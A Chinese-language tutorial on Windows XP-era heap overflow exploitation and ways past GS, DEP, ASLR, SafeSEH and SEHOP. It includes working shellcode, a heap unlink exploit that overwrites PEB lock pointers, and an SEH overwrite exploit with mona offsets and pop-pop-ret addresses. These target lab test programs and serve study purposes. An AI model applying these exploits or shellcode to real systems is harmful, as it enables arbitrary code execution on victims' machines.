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溢出科普:heap overflow&溢出保护和绕过

0x00 第一部分:heap overflow

接上文,来看另外一种溢出方式:堆溢出.相对于栈溢出来说,稍微麻烦一点

本文算是一个笔记,技术有限,难免有纰漏之处,欢迎诸君斧正.

0x01 基础知识

一.堆的结构

堆为程序运行时主动申请的内存,通常称为堆区,操作堆的api从UserMode来看有:

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例如malloc申请一块内存会先调用HeapCreate()为自己创建一块堆区.

堆区由不同大小的堆块组成,由堆表来索引所有堆块.

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堆块由块首和块身构成,块首占8字节,由块大小和块计算单位和是否占用等信息,块身紧跟在块首,在提到一个块大小的时候,要加上块首大小.如请求分配32字节,实际会分配40字节.我们来看一下堆块的结构:

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#!bash 0:000> dt _HEAP_ENTRY  ntdll!_HEAP_ENTRY +0x000 Size : Uint2B // 堆块的大小(以堆粒度为单位, 含块首)  +0x002 PreviousSize : Uint2B // 前一堆块的大小 +0x000 SubSegmentCode : Ptr32 Void +0x004 SmallTagIndex : UChar  +0x005 Flags : UChar // 表示堆块的状态      Flags:      0x01 堆块正在被程序或者堆管理器使用      0x04 堆块使用了填充模式(File Pattern)      0x08 堆块是直接从虚拟内存管理器中分配而来的      0x10 堆块是未提交范围之前的最后一个堆块 +0x006 UnusedBytes : UChar // 堆块中未被用户使用的字节数(含块首) +0x007 SegmentIndex : UChar // 代表的堆块状态 

堆表分为空表和快表,索引所有空闲态堆块,空表是一个双向链表,索引的每一个堆块有前向指针(flink)和后向指针(blink),每个指针占四字节,在空闲态时两个指针存放在块身,占用态时块身将全部用来存放数据.

占用态块身:

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二:堆表的结构

空表(freelist)和快表(lookaside)都有128条记录,空表又有零号空表和普通空表之说.

零号空表(freelist[0])索引所有大于1024字节的堆块,升序排列.普通空表(freelist1)索引大小为8的堆块,freelist2索引16字节,依次递增.直到freelist[127]索引大小为1016字节的堆块.

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快表为单向链表,索引的堆块均有占用态标记,不会发生堆块合并,每条记录只有4个节点,优先分配优先链入.

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三:堆块操作

1.堆块分配和释放

假如有如下指令:

#!c ... HLOACL test; HANDLE hp; hp =HeapCreate(0,0x1000,0x100000); test=HeapAlloc(hp,HEAP_ZERO_MEMORY,16); ... 

HeapAlloc请求分配16字节,加上块首8字节,实际则为24字节,除以8,定位到要分配的记录.如freelist3.

假如24字节大小的堆块不存在于堆表记录索引中,会从大于24字节的记录里找到最小的一条记录分配,假如从freelist5分配(40字节),会划分出24字节返回给程序使用,该堆块块首设置为占用态,另外的16字节装载到相应的空闲链表,并重新分配块首.

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如图,A节点拆卸后,会在Blink指向的地址处写入Flink,假如我们能控制这两个指针的值,就获得了一次任意地址写入4字节的机会.

2.堆块合并

空闲并相邻的堆块会进行合并,避免内存碎片.

(1)释放一个堆块后,堆管理器会检查相邻堆块是否空闲

(2)假如空闲就合并成一个大堆块

(3)将大堆块设为空闲态

(4)更新空闲列表

0x02 堆调试

code:

#!c //build:VC++6.0 //os:windows xp sp3 //download: ed2k://|file|ZRMPSEL_CN.iso|402690048|00D1BDA0F057EDB8DA0B29CF5E188788|/ #include <windows.h> int main(){     char shellcode[]="/x90";     HLOCAL h1=0,h2=0;     HANDLE hp;     hp=HeapCreate(0,0x8000,0x10000);     __asm int 3     h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);      //memcpy(h1,shellcode,0x200);     h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);     HeapFree(hp,0,h1);     HeapFree(hp,0,h2);     return 0; } 

如上代码,假如注释掉 __asm int 3 直接载入调试器,堆管理器会检测到处于调试状态,而是用调试态的堆管理策略,我们这里用int 3中断,int 3执行会触发一个异常,程序暂停,在这之前已经创建了堆区,分配了堆块,这时我们用调试器attach进程,就可以看到真实的堆了.

windbg、Immunity Debugger执行!peb都可以看到堆的结构.或者用ollydbg单击M按钮.

HeapCreate创建大小为0x8000的堆

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windbg !heap -stat

#!bash 0:001> !heap -stat _HEAP 003c0000      Segments            00000001          Reserved  bytes 00010000          Committed bytes 00008000      VirtAllocBlocks     00000000          VirtAlloc bytes 00000000 _HEAP 003a0000      Segments            00000001          Reserved  bytes 00010000          Committed bytes 00008000      VirtAllocBlocks     00000000          VirtAlloc bytes 00000000 _HEAP 00240000      Segments            00000001          Reserved  bytes 00010000          Committed bytes 00006000      VirtAllocBlocks     00000000          VirtAlloc bytes 00000000 _HEAP 00140000      Segments            00000001          Reserved  bytes 00100000          Committed bytes 00006000      VirtAllocBlocks     00000000          VirtAlloc bytes 00000000 _HEAP 00250000      Segments            00000001          Reserved  bytes 00010000          Committed bytes 00003000      VirtAllocBlocks     00000000          VirtAlloc bytes 00000000 _HEAP 00380000      Segments            00000001          Reserved  bytes 00010000          Committed bytes 00002000      VirtAllocBlocks     00000000          VirtAlloc bytes 00000000 

查看003c0000堆区的信息

#!bash 0:001> !heap -h 003c0000 Index   Address  Name      Debugging options enabled   6:   003c0000      Segment at 003c0000 to 003d0000 (00008000 bytes committed)     Flags:                00001002     ForceFlags:           00000000     Granularity:          8 bytes     Segment Reserve:      00100000     Segment Commit:       00002000     DeCommit Block Thres: 00000200     DeCommit Total Thres: 00002000     Total Free Size:      00000c2f     Max. Allocation Size: 7ffdefff     Lock Variable at:     003c0608     Next TagIndex:        0000     Maximum TagIndex:     0000     Tag Entries:          00000000     PsuedoTag Entries:    00000000     Virtual Alloc List:   003c0050     UCR FreeList:        003c0598     FreeList Usage:      00000000 00000000 00000000 00000000     FreeList[ 00 ] at 003c0178: 003c1e90 . 003c1e90   (1 block )     Heap entries for Segment00 in Heap 003c0000         003c0640: 00640 . 00040 [01] - busy (40)         003c0680: 00040 . 01808 [01] - busy (1800)         003c1e88: 01808 . 06178 [10]         003c8000:      00008000      - uncommitted bytes. 

看到freelist[0]指向003c0178

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除了freelist[0]之外,所有的索引都指向自身,代表当前空闲链表为空.

003c0178指向尾块003c1e90

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当完全覆盖掉当前缓冲区到时候,就会溢出到相邻的堆块,覆盖相邻堆块的块首和Flink、Blink

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精心构造Flink 和Blink即可实现控制程序执行流程、代码执行等目的

有兴趣的话可以用跟踪一下,观察堆块分配时堆表的变化.

0x03 溢出实例

覆盖Flink Blink程序再次申请堆块时触发异常,调用所有异常处理函数,假如无法处理,系统调用默认的异常处理,弹出错误对话框,调用ExitProcess().

ExitProcess有同步线程的动作,这个动作由RtlEnterCriticalSection()和RtlLeaveCriticalSection()来完成.这两个函数我们称为临界区函数.跟信号量和锁类似,临界区是一种轻量级机制,在某一时间内,只能由一个线程来执行某个代码段.

调用这两个临界区函数会先从PEB的0x20、0x24偏移处寻找函数指针.我们现在需要做的就是覆盖这两个位置的指针.

在windbg中执行 !peb 即可看到peb的位置.

#!cpp 0:000> !peb PEB at 7ffdf000     InheritedAddressSpace:    No     ReadImageFileExecOptions: No     BeingDebugged:            Yes     ImageBaseAddress:         00400000     Ldr                       00241e90     Ldr.Initialized:          Yes     Ldr.InInitializationOrderModuleList: 00241f28 . 00241fd0     Ldr.InLoadOrderModuleList:           00241ec0 . 00241fc0     Ldr.InMemoryOrderModuleList:         00241ec8 . 00241fc8 ---------------------- typedef struct _PEB {     UCHAR InheritedAddressSpace; // 00h     UCHAR ReadImageFileExecOptions; // 01h     UCHAR BeingDebugged; // 02h     UCHAR Spare; // 03h     PVOID Mutant; // 04h     PVOID ImageBaseAddress; // 08h     PPEB_LDR_DATA Ldr; // 0Ch     PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10h     PVOID SubSystemData; // 14h     PVOID ProcessHeap; // 18h     PVOID FastPebLock; // 1Ch     PPEBLOCKROUTINE FastPebLockRoutine; // 20h     PPEBLOCKROUTINE FastPebUnlockRoutine; // 24h } PEB, *PPEB; 

Peb->FastPebLockRoutine指针的内容为RtlEnterCriticalSection函数的地址,Peb->FastPebUnlockRoutine为RtlLeaveCriticalSection()地址,既0x20偏移、0x24偏移.

ps:在xp sp1之前,PEB的位置是固定的,sp2基址浮动,2003没有FastPebLockRoutine和FastPebUnlockRoutine.

因为shellcode也会调用ExitProcess,所以会shellcode会反复执行,应该在shellcode的头部恢复覆盖掉的值.

0day书中的代码:

#!c #include <windows.h> char shellcode[]= "/x90/x90/x90/x90/x90"    // nop "/x90/x90/x90/x90/x90"    // nop             // repaire the pointer which shooted by heap shooting "/xb8/x20/xf0/xfd/x7f"    // mov eax,7ffdf020 "/xbb/x03/x91/xf8/x77"    // mov ebx,77F89103 this addr may related to OS patch version "/x89/x18"                // mov dword ptr ds:[eax],ebx             // 168 bytes popwindow shellcode "/xFC/x68/x6A/x0A/x38/x1E/x68/x63/x89/xD1/x4F/x68/x32/x74/x91/x0C/x8B/xF4/x8D/x7E/xF4/x33/xDB/xB7/x04/x2B/xE3/x66/xBB/x33/x32/x53" "/x68/x75/x73/x65/x72/x54/x33/xD2/x64/x8B/x5A/x30/x8B/x4B/x0C/x8B/x49/x1C/x8B/x09/x8B/x69/x08/xAD/x3D/x6A/x0A/x38/x1E/x75" "/x05/x95/xFF/x57/xF8/x95/x60/x8B/x45/x3C/x8B/x4C/x05/x78/x03/xCD/x8B/x59/x20/x03/xDD/x33/xFF/x47/x8B/x34/xBB/x03/xF5/x99/x0F/xBE" "/x06/x3A/xC4/x74/x08/xC1/xCA/x07/x03/xD0/x46/xEB/xF1/x3B/x54/x24/x1C/x75/xE4/x8B/x59/x24/x03/xDD/x66/x8B/x3C/x7B/x8B/x59/x1C/x03" "/xDD/x03/x2C/xBB/x95/x5F/xAB/x57/x61/x3D/x6A/x0A/x38/x1E/x75/xA9/x33/xDB/x53/x68/x77/x65/x73/x74/x68/x66/x61/x69/x6C/x8B/xC4/x53" "/x50/x50/x53/xFF/x57/xFC/x53/xFF/x57/xF8" "/x90/x90/x90/x90/x90" "/x90/x90/x90/x90/x90" "/x16/x01/x1A/x00/x00/x10/x00/x00" // 块首的8字节 "/x88/x06/x52/x00/x20/xf0/xfd/x7f"; // Flink+Blink,Blink为0x7ffdf020,Flink为00520688   int main() {     HLOCAL h1=0,h2=0;     HANDLE hp=HeapCreate(0,0x1000,0x10000);     //print_shellcode();return 0;     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);     memcpy(h1,shellcode,0x200);     //_asm int 3;     h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);     return 0; } 

Flink的值需要在调试时确定,指向shellcode起始位置

0x04 第二部分:溢出保护和绕过

我们常说的溢出,就是要覆盖缓冲区,现代的操作系统针和编译器对此种攻击做出了很多的防御措施.

第一层是编译器层面,例如gcc的stack protector,vc的gs,第二层是操作系统层面的DEP,aslr,safeseh,sehop等.

所谓知己知彼百战不殆.下文详情

0x05 编译器层面

gcc在编译时会自动插入一个随机的cookie,也叫做金丝雀值(历史上用金丝雀来检查煤矿中是否有有毒气体),保存在ebp-8字节的位置,函数每次调用完成将返回地址交给eip的之前会检查cookie是否被改写,假如被改写就触发异常,程序停止执行.

看代码:

#!bash push ebp mov esp,ebp push ebx sub esp,xxx  ;插入cookie mov eax,gs:[20] mov [ebp-8],eax xorl eax,eax ;插入完毕  ;execute some code.... ;恢复ebx和ebp和ret之前的动作: mov eax,[ebp-8] xor eax,gs:[20] je true:  call stack_check_fail ;假如cookie被覆盖,xor后为1,没进入if,调用stack_check_fail触发异常  true: add esp,20 pop ebx pop ebp ret 

如图:

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vs的gs选项一样的原理.

#!bash sub   esp,24h mov   eax,dword ptr [___security_cookie (408040h)] xor   eax,dword ptr [esp+24h] mov   dword ptr [esp+20h],eax ... mov   ecx,dword ptr [esp+20h] xor   ecx,dword ptr [esp+24h] add   esp,24h jmp   __security_check_cookie (4010B2h) 

触发异常后,假如程序安装的异常例程没有成功处理就会交由系统默认异常处理,然后调用ExitProcess.针对此种方式,我们可以覆盖异常处理例程(seh handle)来达到控制程序执行流程的目的.稍后再说SEH的知识

0x06 DEP

数据执行保护(Data Execution Prevention)是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行.

从sp2开始作为一项安全机制引入,延续到2003、2008、win7.

DEP会将值包含内存数据的区域标记为NX(不可执行),当我们控制程序执行流程跳到shellcode时,触发异常.

可以shellcode地址写第三方dll的导出函数.例如system启动shell.

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当然了,ROP也是可以绕过dep的,以后写.

0x07 ASLR

ASLR(Address space layout randomization)地址空间布局随机化,在vista之后的系统实现.

将堆地址 栈基址 PE文件基址 PEB地址随机,shellcode的起始地址无法固定

1.用第三方为经过aslr的dll

这种方法也适用于绕过safeseh,immunity debugger命令行执行 !mona jmp -r esp -cm aslr,safeseh

#!bash ---------- Mona command started on 2016-03-22 12:13:34 (v2.0, rev 427) ---------- 0BADF00D   [+] Processing arguments and criteria 0BADF00D       - Pointer access level : X 0BADF00D       - Module criteria : ['aslr'] 0BADF00D   [+] Generating module info table, hang on... 0BADF00D       - Processing modules 0BADF00D       - Done. Let's rock 'n roll. 0BADF00D   [+] Querying 3 modules 0BADF00D       - Querying module ntdll.dll 0BADF00D       - Querying module kernel32.dll 0BADF00D       - Querying module test.exe 0BADF00D       - Search complete, processing results 0BADF00D   [+] Preparing output file 'jmp.txt' 0BADF00D       - (Re)setting logfile jmp.txt 0BADF00D   [+] Writing results to jmp.txt 0BADF00D       - Number of pointers of type 'jmp esp' : 1 0BADF00D       - Number of pointers of type 'call esp' : 4 0BADF00D       - Number of pointers of type 'push esp # ret ' : 1 0BADF00D   [+] Results : 7C86467B     0x7c86467b : jmp esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:/WINDOWS/system32/kernel32.dll) 7C934663     0x7c934663 : call esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:/WINDOWS/system32/ntdll.dll) 7C97311B     0x7c97311b : call esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:/WINDOWS/system32/ntdll.dll) 7C8369F0     0x7c8369f0 : call esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:/WINDOWS/system32/kernel32.dll) 7C868667     0x7c868667 : call esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:/WINDOWS/system32/kernel32.dll) 7C939DB0     0x7c939db0 : push esp # ret  |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:/WINDOWS/system32/ntdll.dll) 0BADF00D       Found a total of 6 pointers 0BADF00D            [+] This mona.py action took 0:00:01.515000 00400000  Unload C:/Documents and Settings/Administrator/桌面/test.exe 7C800000  Unload C:/WINDOWS/system32/kernel32.dll 7C920000  Unload C:/WINDOWS/system32/ntdll.dll           Process terminated End of session 

2.利用aslr的特性:

aslr只对高位地址随机,例如0x12345678,每次重启 低地址5678是不变的,只有高地址1234会随机为别的数值,在小端机中,低位地址在内存低位,高位地址在内存高位,也就是说,在0x1234xxxx范围之内,找到我们需要的指令,例如jmp esp 0xffe4就可以实现eip跳到缓冲区的目的.

在不溢出缓冲区就能放下shellcode的情况下,我们将数据覆盖到返回地址的低位地址就可以了.

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0x08 对seh的保护 safeseh、sehop

.net的sdeseh选项会将所有的异常处理例程解析成单向链表,在程序触发异常时,会将当前例程在异常链表中寻找,假如寻找不到就不触发当前例程. sehop(Structured Exception Handler Overwrite Protection结构化异常处理覆盖保护),在vista sp1之后出现,用来检测seh链表的完整性,触发异常时,假如seh链表的最后一个异常处理函数非默认,说明seh遭到破坏,sehop就会阻止当前的seh handle执行.

绕过方法在seh基础知识后面写.

0x09 异常处理机制

异常处理流程:

  1. CPU捕获异常,内核结果进程控制权,进行内核态异常处理
  2. 异常处理结束,控制权交给R3
  3. R3中第一个处理异常的函数是ntdll.dll中的KiUserExceptionDispatcher().
  4. KiUserExceptionDispatcher检测是否处于调试态,也就是说我们假如要调试,还需要像之前调试堆那样在程序内显式的int3中断,然后用调试器attach.
  5. 非调试态下,先进行进程级异常处理VEH,再进行线程级异常处理,即遍历SEH链表.
  6. 假如所有处理函数都失败,调用进程级异常处理函数UEF(UnhandleExeceptionFilter),UEF会检测 HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/AeDebug 下的UserDebuggerHotKey键值,假如为0,弹出错误消息对话框,提示是否打开调试器.若为1,则没有任何提示直接调用ExitProcess

SEH结构化异常处理(structured exception handling)是当异常触发时将控制权交给程序自主处理而实现的一种架构,存储在栈中,在代码内使用__try{}、__except{}时,会向当前函数栈帧安装一个异常处理例程,所有的异常处理例程会构成一张单向链表,在Immunity Debugger中 view->seh chain可以查看所有seh

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或者windbg

#!bash 0:001> !exchain 003bffe4: ntdll!_except_handler3+0 (7c92e900)   CRT scope  0, filter: ntdll!DbgUiRemoteBreakin+2f (7c970017)                 func:   ntdll!DbgUiRemoteBreakin+33 (7c970020) Invalid exception stack at ffffffff 

seh结构如下:

#!bash _EXCEPTION_REGISTRATION struc         prev dd ?        //前一个_EXCEPTION_REGISTRATION结构   nseh(next seh),有人也叫他provious      handler dd ?     //异常处理例程入口  seh handle 

段寄存器fs[0]指向栈顶之后的第一个异常处理例程,触发异常时(如除0操作,错误的内存访问等)首先调用第一个异常处理函数(seh handle),假如无法处理,依次尝试调用其他seh handle,见异常处理流程的第5、6步.

SEH链表图:

溢出科普:heap overflow&amp;溢出保护和绕过

溢出科普:heap overflow&amp;溢出保护和绕过

可以看到,在溢出发生时,esp指向数据区,上溢4个字节是nseh,再上溢4个字节就是seh handle,假如我们寻找一个pop pop ret类的指令地址,执行到ret后,eip就会跳到seh handle上,所以这时候nseh可以设为90909090,或者是一个跳过4字节的指令.在nseh和seh handle后布置shellcode.

0x0A 绕过gs、safeseh

#!c #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) {     char buffer[500];     try     {         strcpy(buffer,str);         strcpy(out,buffer);         printf("Input received : %s/n",buffer);     }     catch (char * strErr)     {         printf("No valid input received ! /n");         printf("Exception : %s/n",strErr);     } } int main() {     char buf2[10];     char shellcode[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"         "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";     GetInput(shellcode,buf2);     return 0; } 

char buffer[500]是为了开辟足够大的空间

程序运行后

#!bash EAX 7EFEFEFE ECX 0012FC94 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" EDX 41414141 EBX 7FFD6000 ESP 0012FBA4 EBP 0012FE08 ESI 004261A9 aaaa.004261A9 EDI 00130000 ASCII "Actx " EIP 004013D1 aaaa.004013D1 C 0  ES 0023 32bit 0(FFFFFFFF) P 1  CS 001B 32bit 0(FFFFFFFF) A 0  SS 0023 32bit 0(FFFFFFFF) Z 1  DS 0023 32bit 0(FFFFFFFF) S 0  FS 003B 32bit 7FFDF000(FFF) T 0  GS 0000 NULL D 0 O 0  LastErr ERROR_SUCCESS (00000000) EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)  ----------------------------------------------  SEH chain of main thread Address    SE handler 0012FDFC   aaaa.004134A0 0012FFB0   41414141 41414141   *** CORRUPT ENTRY *** 

可以看到seh已经被覆盖,用mona插件计算从缓冲区到seh的距离.

!mona pattern_create 300 生成长度为300的随机字符串,替换为shellcode,再溢出一次,执行 !mona findmsp

#!bash ================================================================================ ----------------------------------------------------------------------------------------------------------------------------------  Module info : ----------------------------------------------------------------------------------------------------------------------------------  Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path ----------------------------------------------------------------------------------------------------------------------------------  0x7c920000 | 0x7c9b3000 | 0x00093000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [ntdll.dll] (C:/WINDOWS/system32/ntdll.dll)  0x7c800000 | 0x7c91e000 | 0x0011e000 | False  | True    | False |  False   | True   | 5.1.2600.5512 [kernel32.dll] (C:/WINDOWS/system32/kernel32.dll)  0x00400000 | 0x0042f000 | 0x0002f000 | False  | False   | False |  False   | False  | -1.0- [aaaa.exe] (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) ---------------------------------------------------------------------------------------------------------------------------------- [+] Looking for cyclic pattern in memory     Cyclic pattern (normal) found at 0x0042609c (length 300 bytes)     Cyclic pattern (normal) found at 0x0012fbe4 (length 300 bytes)     -  Stack pivot between 96 & 396 bytes needed to land in this pattern     Cyclic pattern (normal) found at 0x0012fe44 (length 300 bytes)     -  Stack pivot between 704 & 1004 bytes needed to land in this pattern     Cyclic pattern (normal) found at 0x0012ff74 (length 140 bytes)     -  Stack pivot between 1008 & 1148 bytes needed to land in this pattern     EDX overwritten with normal pattern : 0x37654136 (offset 140)     ECX (0x0012fc74) points at offset 144 in normal pattern (length 156) [+] Examining SEH chain    SEH record (nseh field) at 0x0012ffb0 overwritten with normal pattern : 0x63413163 (offset 60), followed by 76 bytes of cyclic data [+] Examining stack (entire stack) - looking for cyclic pattern     Walking stack from 0x0012e000 to 0x0012fffc (0x00001ffc bytes)     0x0012fbe4 : Contains normal cyclic pattern at ESP+0x60 (+96) : offset 0, length 300 (-> 0x0012fd0f : ESP+0x18c)     0x0012fe44 : Contains normal cyclic pattern at ESP+0x2c0 (+704) : offset 0, length 300 (-> 0x0012ff6f : ESP+0x3ec)     0x0012ff74 : Contains normal cyclic pattern at ESP+0x3f0 (+1008) : offset 0, length 140 (-> 0x0012ffff : ESP+0x47c) 

计算出溢出长度为60字节,并列出所有加载的dll,并提示是否有safeSEH和aslr等.

根据前面的知识,构造的shellcode格式应为:buf +nseh +seh handle +shellcode

nseh 为90909090,seh handle为pop pop ret地址,buf为60长度的任意字节,ppt的地址也可以用mona来搜索, !mona seh

#!bash 0x0040ba77 : pop esi # pop edi # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040bb1b : pop esi # pop edi # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x00401616 : pop ebx # pop ebp # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040176e : pop ebx # pop ebp # ret  | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040ec4f : pop ebx # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x004018ef : pop esi # pop ebx # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040cf67 : pop ebx # pop edi # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040cf6d : pop ebx # pop edi # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040cedb : pop edi # pop ebx # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040cee2 : pop edi # pop ebx # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 0x0040cee9 : pop edi # pop ebx # ret  | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:/Documents and Settings/Administrator/桌面/aaaa/Debug/aaaa.exe) 

也可以用第一篇文章提到的工具,搜索kernel,或者直接用immunity debugger搜索

溢出科普:heap overflow&amp;溢出保护和绕过

0x7c921931 小端机缘故,倒叙 /x31/x19/x92/x7c

看最终代码,在保证没有DEP和safeSeh、safeop的情况下可顺利运行.

#!c #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) {      char buffer[500];     try     {         strcpy(buffer,str);         strcpy(out,buffer);         printf("Input received : %s/n",buffer);     }     catch (char * strErr)     {         printf("No valid input received ! /n");         printf("Exception : %s/n",strErr);     } } int main() {     LoadLibrary("C://NppFTP.dll");     char buf2[10];     char shellcode[]="/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41" "/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41" "/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41" "/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41" "/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41" "/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41" "/x91/x91/x91/x91"  //nseh "/x6A/x6A/x6A/x6A"  //seh handle   "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53" "/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6" "/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA" "/x77/x1d/x80/x7c"      "/x52/x8D/x45/xF4/x50" "/xFF/x55/xF0" "/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E" "/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4" "/x50/xB8" "/xc7/x93/xbf/x77"      "/xFF/xD0";   //shellcode        GetInput(shellcode,buf2);     return 0; } 

在特定情况下,假如只有应用程序没有启用safeseh保护,但却启用了gs,我们依然可以绕过

前面说布置的缓冲区数据格式: buf + nseh + seh handle + shellcode,在程序内寻找一个ppt地址写在seh handle位置,这个位置会包含00字符(基址0040xxxx),例子中用strcpy函数溢出遇到/x00会截断,也就是说假如要用程序内的ppt地址,shellcode就得布置在seh handle之前,刚好可以利用当前缓冲区

布置如下: shellcode(60字节) + nseh + ppt. ppt会首先跳到nseh位置处的4字节指令,再确定缓冲区的起始位置, nseh4字节指令跳转过去执行即可绕过safeseh.

0x0B 绕过sehop

像是拼人品的“没有gs”、“有虚函数”等绕过方式暂且不提,sehop触发异常之前,会检测seh链,没有sehop之前,我们通常是直接覆盖nseh和handle

溢出科普:heap overflow&amp;溢出保护和绕过

sehop检测链表是否断掉,最后一个节点handle是否指向ntdll!FinalExceptHandler,nseh是否指向0xffffffff,也就是说,将ntdll!FinalExceptHandler的地址和0xffffffff写入到任意节点A,并保证前一个节点的nseh指向A的seh handle即可欺骗sehop

溢出科普:heap overflow&amp;溢出保护和绕过

前面讲过覆盖的handle地址为ppt,ppt指向nseh的数据,这里就是4字节对齐的原因了,nseh既要指向下一个节点,又要能保证跳到前面的缓冲区

溢出科普:heap overflow&amp;溢出保护和绕过

这里就是精髓了,4字节对齐,nseh的地址既作为指针又作为指令,跳转到缓冲区数据又不能超过4字节.用je来跳,je会根据z标志位是否被设置来判断是否满足条件,指令运算为0设置z,即可将eip控制到缓冲区起始位置,寻找这样的指令很容易,例如xor eax,eax,所以seh handle要为x p p t.

为防止handle的值也作为了指令执行,所以缓冲区内应该有跳过seh的指令,如图:

溢出科普:heap overflow&amp;溢出保护和绕过

既保证了seh链表的完整,又成功执行的shellcode.了解了具体结构 写完整的shellcode就不是难事了:)

但此种方法只适应于未启用aslr的情况,因为ntdll!FinalExceptHandler的高位地址随机,seh的特性,在不破坏链表的情况下, 只能利用内存信息泄漏来确定ntdll!FinalExceptHandler的地址.

0x0C 参考文献

  • shellcoder编程揭秘
  • 0day安全软件漏洞分析技术
  • 暗战亮剑-软件漏洞发掘与安全防范实战
  • 深入理解计算机系统

感谢四书作者的无私奉献.

笔记性质的文章,才疏学浅,如有纰漏欢迎指正

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